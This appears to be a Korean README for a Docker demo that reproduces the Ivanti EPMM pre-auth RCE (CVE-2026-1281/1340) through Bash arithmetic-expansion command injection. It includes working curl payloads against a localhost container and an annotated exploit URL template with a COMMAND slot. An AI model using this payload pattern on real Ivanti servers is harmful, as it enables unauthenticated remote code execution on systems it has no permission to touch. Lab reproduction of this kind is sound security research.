
Ivanti EPMM 사전 인증 RCE 취약점(CVE-2026-1281 / CVE-2026-1340)을 교육 및 보안 연구 목적으로 재현하는 방법을 보여주는 간단한 데모 애플리케이션입니다.
Ivanti EPMM 사전 인증 RCE 취약점(CVE-2026-1281 / CVE-2026-1340)을 교육 및 보안 연구 목적으로 재현하는 방법을 보여주는 간단한 데모 애플리케이션입니다.
이 취약점은 Bash 산술 확장(arithmetic expansion) 동작을 악용합니다. 다른 변수에 대한 참조를 포함하는 변수가 산술 컨텍스트에서 사용되고, 해당 참조 변수가 명령 치환(command substitution)이 포함된 배열 인덱스를 포함할 때 명령이 실행됩니다.
st=theValue (패딩이 포함된 리터럴 문자열 "theValue")가 포함됨h=gPath[\command`]`(배열 인덱스의 명령)가 포함됨theValue를 업데이트함gStartTime이 리터럴 문자열 "theValue"로 설정됨theValue에 gPath[\command`]`가 포함됨[[ ${currentTime} -gt ${gStartTime} ]]가 평가될 때:
${gStartTime} → "theValue"(문자열)theValue를 변수 참조로 처리함theValue → gPath[\command`]`# 컨테이너 빌드 및 시작
docker-compose up --build -d
# 실행 확인
curl http://localhost:8180/health
명령 실행을 증명할 파일 생성:
# URL 인코딩된 페이로드: id > /mi/poc
curl "http://localhost:8180/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60id%20%3E%20/mi/poc%60%5D/test.ipa"
# 파일이 생성되었는지 확인
cat artifacts/poc
sleep 명령으로 검증:
# 응답에 약 5초가 걸려야 함
time curl "http://localhost:81080/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60sleep%205%60%5D/test.ipa"
# 사용자 정의 콘텐츠 작성
curl "http://localhost:8180/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60echo%20PWNED%20%3E%20/mi/pwned%60%5D/test.ipa"
cat artifacts/pwned
/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60COMMAND%60%5D/uuid.ipa
│ │ │ │
│ │ │ └─ 페이로드: gPath[`COMMAND`]
│ │ └─ 종료 타임스탬프(10자리 숫자)
│ └─ 중요: 리터럴 "theValue" + 공백 2개(총 10자)
└─ 키 인덱스(임의 값)
# 컨테이너 로그 보기
docker-compose logs -f
# 컨테이너에서 셸 실행
docker exec -it ivanti-epmm-vuln /bin/bash
# nginx 오류 로그 확인
docker exec -it ivanti-epmm-vuln cat /var/log/nginx/error.log
docker-compose down
rm -rf artifacts/*
이 도구는 교육 및 승인된 보안 테스트 목적으로만 사용해야 합니다. 소유하지 않았거나 명시적 테스트 권한이 없는 시스템에는 사용하지 마십시오.